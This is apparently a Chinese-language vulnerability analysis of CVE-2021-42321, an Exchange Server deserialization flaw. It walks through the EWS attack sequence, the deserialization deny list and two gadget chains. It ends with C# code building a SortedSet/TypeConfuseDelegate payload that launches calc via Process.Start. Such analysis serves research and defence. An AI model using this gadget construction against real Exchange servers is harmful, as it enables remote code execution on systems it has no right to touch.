CVE-2021-42321

影响版本

  • Exchange Server 2016 CU21/CU22
  • Exchange Server 2019 CU10/CU11

攻击流程为EWS操作

1
2
3
4
GetFolder ---> 获取FolderId
	DeleteUserConfiguration ---> 根据FolderId删除旧配置
		CreateUserConfiguration ---> 创建带有反序列化payload的配置
			GetClientAccessToken 触发反序列化

Microsoft.Exchange.Compliance.Serialization.Formatters 命名空间中定义了三个类,分别为

  • TypedBinaryFormatter
  • TypeSerializationFormatter
  • TypeSoapFormatter 其中在 TypeBinaryFormatter 中定义的反序列化方法内容为
1
2
3
4
5
6
7
private static object Deserialize(Stream serializationStream, SerializationBinder binder)
{
    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(58, false, new string[]
    {
        "System.DelegateSerializationHolder"
    }, null).Deserialize(serializationStream);
}

可以发现传入的 SerializationBinder 实际上并没有用到,一般来说这个东西都用于反序列化时限定类型(针对 BinaryFormatter、SoapFormatter、LosFormatter、NetDataContractSerializer、ObjectStateFormatter) 继续跟入 CreateBinaryFormatterMicrosoft.Exchange.Diagnostics.CreateBinaryFormatter

1
2
3
4
5
6
7
public static BinaryFormatter CreateBinaryFormatter(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null)
{
    return new BinaryFormatter
    {
        Binder = new ChainedSerializationBinder(usageLocation, strictMode, allowList, allowedGenerics)
    };
}

虽然直接返回了一个 BinaryFormatter 的实例,但是其中仍然初始化了一个Binder,跟入其中查看一下定义,首先可以发现在其中定了几个HashSet,从名字就能看出来用处 900 比如在 GlobalDisallowedTypesForDeserialization 中可以看到定义了非常多常见的 gadgets 700 回头看一下构造函数中收到的参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public ChainedSerializationBinder(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null)
{
    // strictMode = null
    this.strictMode = strictMode;
    if (allowList != null && allowList.Length != 0)
    {
        // this.allowedTypesForDeserialization = [System.DelegateSerializationHolder]
        this.allowedTypesForDeserialization = new HashSet<string>(allowList);
    }
    else
    {
        this.allowedTypesForDeserialization = ChainedSerializationBinder.GlobalAllowedTypesForDeserialization;
    }
    if (allowedGenerics != null && allowedGenerics.Length != 0)
    {
        this.allowedGenericsForDeserialization = new HashSet<string>(allowedGenerics);
    }
    else
    {
        // allowedGenerics = null
        this.allowedGenericsForDeserialization = ChainedSerializationBinder.GlobalAllowedGenericsForDeserialization;
    }
    Func<string, Type> func;
    if ((func = this.typeResolver) == null && (func = ChainedSerializationBinder.<>c.<>9__25_0) == null)
    {
        func = (ChainedSerializationBinder.<>c.<>9__25_0 = ((string s) => Type.GetType(s)));
    }
    this.typeResolver = func;
    this.location = usageLocation;
}

因为继承了抽象类 SerializationBinder ,所以关注重写后的 BindToType

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public override Type BindToType(string assemblyName, string typeName)
{
    if (this.serializationOnly)
    {
        throw new InvalidOperationException("ChainedSerializationBinder was created for serialization only.  This instance cannot be used for deserialization.");
    }
    Type type = this.InternalBindToType(assemblyName, typeName);
    if (type != null)
    {
        this.ValidateTypeToDeserialize(type);
    }
    return type;
}

InternalBindToType 中是一个正常的获取Type的流程,可以看到如果获取到的Type不为null,会走一次验证,来判断这个类型是否可以被序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
protected void ValidateTypeToDeserialize(Type typeToDeserialize)
{
    if (typeToDeserialize == null)
    {
        return;
    }
    string fullName = typeToDeserialize.FullName;
    bool flag = this.strictMode;
    try
    {
				// strictMode = false  this.allowedTypesForDeserialization = [System.DelegateSerializationHolder]
        if (!this.strictMode && !this.allowedTypesForDeserialization.Contains(fullName) && ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization.Contains(fullName))
        {
            flag = true;
						// 没有catch这个异常,进来程序直接寄
            throw new InvalidOperationException(string.Format("Type {0} failed deserialization (BlockList).", fullName));
        }
        if (typeToDeserialize.IsConstructedGenericType)
        {
            fullName = typeToDeserialize.GetGenericTypeDefinition().FullName;
            if (ChainedSerializationBinder.GlobalAllowedGenericsForDeserialization == null || !ChainedSerializationBinder.GlobalAllowedGenericsForDeserialization.Contains(fullName) || ChainedSerializationBinder.GlobalDisallowedGenericsForDeserialization.Contains(fullName))
            {
                throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, this.location);
            }
        }
        else if (!ChainedSerializationBinder.AlwaysAllowedPrimitives.Contains(fullName) && (this.allowedTypesForDeserialization == null || !ChainedSerializationBinder.GlobalAllowedTypesForDeserialization.Contains(fullName) || ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization.Contains(fullName)))
        {
            if (!typeToDeserialize.IsArray && !typeToDeserialize.IsEnum && !typeToDeserialize.IsAbstract && !typeToDeserialize.IsInterface)
            {
                throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, this.location);
            }
        }
    }
    catch (BlockedDeserializeTypeException ex)
    {
        DeserializationTypeLogger.Singleton.Log(ex.TypeName, ex.Reason, this.location, (flag || this.strictMode) ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked);
				// flag = this.strictMode = false
        if (flag)
        {
            throw;
        }
    }
}

只要不是 InvalidOperationException 的异常就OK

  • !this.strictModetrue
  • !this.allowedTypesForDeserialization.Contains(fullName)true
  • ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization.Contains(fullName) ⇒ ??? 需要从黑名单中找一条 漏网之鱼
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
return new HashSet<string>
{
    "Microsoft.Data.Schema.SchemaModel.ModelStore",
    "Microsoft.Management.UI.Internal.FilterRuleExtensions",
    "Microsoft.Reporting.RdlCompile.ReadStateFile",
    "Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope",
    "Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource",
    "Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore",
    "Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage",
    "Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization",
    "Microsoft.VisualStudio.Publish.BaseProvider.Util",
    "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties",
    "Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache",
    "Microsoft.Web.Design.Remote.ProxyObject",
    "System.Activities.Presentation.WorkflowDesigner",
    "System.AddIn.Hosting.AddInStore",
    "System.CodeDom.Compiler.TempFileCollection",
    "System.Collections.Hashtable",
    "System.ComponentModel.Design.DesigntimeLicenseContextSerializer",
    "System.Configuration.Install.AssemblyInstaller",
    "System.Configuration.SettingsPropertyValue",
    "System.Data.DataSet",
    "System.Data.DataViewManager",
    "System.Data.Design.MethodSignatureGenerator",
    "System.Data.Design.TypedDataSetGenerator",
    "System.Data.Design.TypedDataSetSchemaImporterExtension",
    "System.Data.SerializationFormat",
    "System.DelegateSerializationHolder",
    "System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler",
    "System.IdentityModel.Tokens.SessionSecurityToken",
    "System.IdentityModel.Tokens.SessionSecurityTokenHandler",
    "System.IO.FileSystemInfo",
    "System.Management.Automation.PSObject",
    "System.Management.IWbemClassObjectFreeThreaded",
    "System.Messaging.BinaryMessageFormatter",
    "System.Resources.ResourceReader",
    "System.Resources.ResXResourceSet",
    "System.Runtime.Remoting.Channels.BinaryClientFormatterSink",
    "System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider",
    "System.Runtime.Remoting.Channels.BinaryServerFormatterSink",
    "System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider",
    "System.Runtime.Remoting.Channels.CrossAppDomainSerializer",
    "System.Runtime.Remoting.Channels.SoapClientFormatterSink",
    "System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider",
    "System.Runtime.Remoting.Channels.SoapServerFormatterSink",
    "System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider",
    "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter",
    "System.Runtime.Serialization.Formatters.Soap.SoapFormatter",
    "System.Runtime.Serialization.NetDataContractSerializer",
    "System.Security.Claims.ClaimsIdentity",
		// 没错就是这个 ↓
    "System.Security.ClaimsPrincipal",
    "System.Security.Principal.WindowsIdentity",
    "System.Security.Principal.WindowsPrincipal",
    "System.Security.SecurityException",
    "System.Web.Security.RolePrincipal",
    "System.Web.Script.Serialization.JavaScriptSerializer",
    "System.Web.Script.Serialization.SimpleTypeResolver",
    "System.Web.UI.LosFormatter",
    "System.Web.UI.ObjectStateFormatter",
    "System.Windows.Data.ObjectDataProvider",
    "System.Windows.Forms.AxHost+State",
    "System.Windows.ResourceDictionary",
    "System.Workflow.ComponentModel.Activity",
    "System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector",
    "System.Xml.XmlDataDocument",
    "System.Xml.XmlDocument"
};

手误将 System.Security.Claims.ClaimsPrincipal 写错了,补丁diff

Gadget#1 System.Security.Claims.ClaimsPrincipal

直接跟入这个类,发现实现了 Iserializable 接口,并且定了一个使用了 OnDeserializedAttribute 来自定义反序列化的流程的函数,查看关于反序列化的定义

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[OnDeserialized]
[SecurityCritical]
private void OnDeserializedMethod(StreamingContext context)
{
    if (!(this is ISerializable))
    {
        DeserializeIdentities(m_serializedClaimsIdentities);
        m_serializedClaimsIdentities = null;
    }
}

继续跟入 DeserializeIdentities

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[SecurityCritical]
private void DeserializeIdentities(string identities)
{
    m_identities = new List<ClaimsIdentity>();
    if (string.IsNullOrEmpty(identities))
    {
        return;
    }

    List<string> list = null;
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(identities));
    list = (List<string>)binaryFormatter.Deserialize(serializationStream, null, fCheck: false);
    for (int i = 0; i < list.Count; i += 2)
    {
        ClaimsIdentity claimsIdentity = null;
        using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(list[i + 1])))
        {
            claimsIdentity = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);
        }

        if (!string.IsNullOrEmpty(list[i]))
        {
            if (!long.TryParse(list[i], NumberStyles.Integer, NumberFormatInfo.InvariantInfo, out var result))
            {
                throw new SerializationException(Environment.GetResourceString("Serialization_CorruptedStream"));
            }

            claimsIdentity = new WindowsIdentity(claimsIdentity, new IntPtr(result));
        }

        m_identities.Add(claimsIdentity);
    }
}

使用了一个裸的 binaryFormatter ,对传入值base64解码后直接反序列化,所以在这里可以做一次二次反序列化实现RCE

1
2
3
System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod
		---> System.Security.Claims.ClaimsPrincipal.DeserializeIdentities
				---> BinaryFormatter.Deserialize

最新版 ysoerial.net > 1.34 中已经内置了这条gadget,可以直接生成

Gadget#2 TypeConfuseDelegate

注意到 GlobalDisallowedTypesForDeserialization 也不包含 SortedSet ,所以还可以使用 TypeConfuseDelegate 这条gadget进行攻击

SortedSet 这个类用来将其中的元素按照一定规则进行排序,排序的方法需要自己创建一个用来规定如何排序的类作为比较器,必须实现 IComparer 接口,这个接口只有一个函数 Compare ,简单用法如下所示

600

这里有一个小细节,如果当前集合中的元素 ≥ 2,也就是调用第二次或者更多次 Add 函数的时候,会调用一次 Comparer.Compare ,并且将两次传入的值作为参数传入( 后面要考 500 首先跟入 SortedSet 的构造函数,可以发现他接受一个类型为 IComparer<T> 的参数,这个参数将作为比较器在后续的流程中被使用,而如果没有传入的话,会有一个默认值 Comparer<T>.Default 500 来看看这个默认比较器的定义是什么

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public abstract class Comparer<T> : IComparer, IComparer<T> 
{
    private static readonly Comparer<T> defaultComparer = CreateComparer();
    public static Comparer<T> Default 
    {
        get
        {
                return defaultComparer;
        }
    }

    public static Comparer<T> Create(Comparison<T> comparison)
    {
        if (comparison == null)
        {
            throw new ArgumentNullException("comparison");
        }
    
        return new ComparisonComparer<T>(comparison);
    }

    private static Comparer<T> CreateComparer()
    {
        // ...
    }

    public abstract int Compare(T x, T y);
    int IComparer.Compare(object x, object y)
    {
        // ....
    }
}

关注到其中有一个 public 函数 Create ,如果传入类型为 Comparison<T> 的参数 comparison 不为null,那么将会把这个参数直接传入 ComparisonComparer<T> 作为实例化参数,首先参数类型 Comparison<T> 本身是一个委托,并且函数签名和 SortedSet 实现的接口 IComparer.Compare 完全一致 500 所以自然需要关注一下 ComparisonComparer<T> 究竟是什么东西,为什么会返回他 700

可以发现这是一个继承了 Comparer<T> 的比较器,并且可以被序列化,最后重写的比较函数中,将构造函数中传入的参数直接进行调用,在上面的流程中可以知道,传入的参数其实是一个委托

至此参数调用流程就清晰了,回过头来看一下 SortedSet<T> ,首先这是一个可以被序列化的类,另外还实现了 IDeserializationCallback ,这里关注一下完成反序列化后如何进行callback

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[Serializable]
[DebuggerTypeProxy(typeof(SortedSetDebugView<>))]
[DebuggerDisplay("Count = {Count}")]
[__DynamicallyInvokable]
public class SortedSet<T> : ISet<T>, ICollection<T>, IEnumerable<T>, IEnumerable, ICollection, ISerializable, IDeserializationCallback, IReadOnlyCollection<T>
{
    void IDeserializationCallback.OnDeserialization(object sender)
    {
        OnDeserialization(sender);
    }

    protected virtual void OnDeserialization(object sender)
    {
        if (comparer != null)
        {
            return;
        }

        if (siInfo == null)
        {
            ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_InvalidOnDeser);
        }
        // 赋值比较器
        comparer = (IComparer<T>)siInfo.GetValue("Comparer", typeof(IComparer<T>));
        // 如果序列化对象中元素总数不为0,那么对其遍历
        int @int = siInfo.GetInt32("Count");
        if (@int != 0)
        {
            T[] array = (T[])siInfo.GetValue("Items", typeof(T[]));
            if (array == null)
            {
                ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MissingValues);
            }

            for (int i = 0; i < array.Length; i++)
            {
                // 在这里调用 Add 函数
                Add(array[i]);
            }
        }

        version = siInfo.GetInt32("Version");
        if (count != @int)
        {
            ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MismatchedCount);
        }

        siInfo = null;
    }

回顾之前所有的分析,比较函数签名为 int function(string x, string y) ,如果这个函数可控,有一个签名非常相似的函数 Process.Start,如果可以比较函数设置为他,那么在第二次Add的时候便可以调用实现一次命令执行,但是这里存在一个问题,那就是这个函数返回值为 Process ,与比较函数的签名返回类型 int 不匹配,直接赋值会导致异常,所以这里需要使用到多播委托 MulticastDelegate

而在官方文档中已经指出,其实程序中使用 deletegate 做声明的委托,就是派生自 MulticastDelegate

900

多播委托其实就是将多个委托合并起来成为一个列表,然后将他作为一个新的委托进行返回,跟入到委托合并,也就是 Delegate.Combine

600

因为继承自 MulticastDelegate ,所以最终实现其实在 MulticastDelegate.CombineImpl,这个函数非常长,所以只需要知道他最终返回的是一个新的委托,并且合并中的关键点

700

这其中有两个变量

  • _invocationList
    • 按顺序存放了将要执行的委托列表,私有变量,无法直接赋值
  • _invocationCount
    • 委托列表的数量

虽然多播委托提供了一个可供调用的公开函数用来合并两个委托,但是仍然需要保证两个委托返回类型相同,但是这里可以发现一件事,其实在合并的时候,委托列表将会被转换为 object[] 用来保证两个委托合并的正常进行,那么可以考虑在构造的时候,使用反射直接修改这个值,强行插入一条 Process.Start ,由于这里需要一条委托,而 Process.Start 是一个函数,那么可以考虑使用 Func 构造一个接受两个 string 参数,返回类型为 Process 的泛型委托

1
Func<string, string, Process>(Process.Start)

构造方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
MulticastDelegate d1 = new Comparison<string>(String.Compare);
MulticastDelegate d2 = new Func<string, string, Process>(Process.Start);

Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d1, d1);
IComparer<string> comparer = Comparer<string>.Create(c);
SortedSet<string> s = new SortedSet<string>(comparer);
s.Add("cmd.exe");
s.Add("/c calc");

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] dList = new object[d1.GetInvocationList().Length + 1];
d1.GetInvocationList().CopyTo(dList, 0);
dList[dList.Length - 1] = d2;
fi.SetValue(c, dList);

1000

SortedSet<string> s 进行序列化后便可以得到一条用来弹出计算器的payload,如果对这个值进行反序列化,将会触发 Process.Start 并且执行 cmd.exe /c calc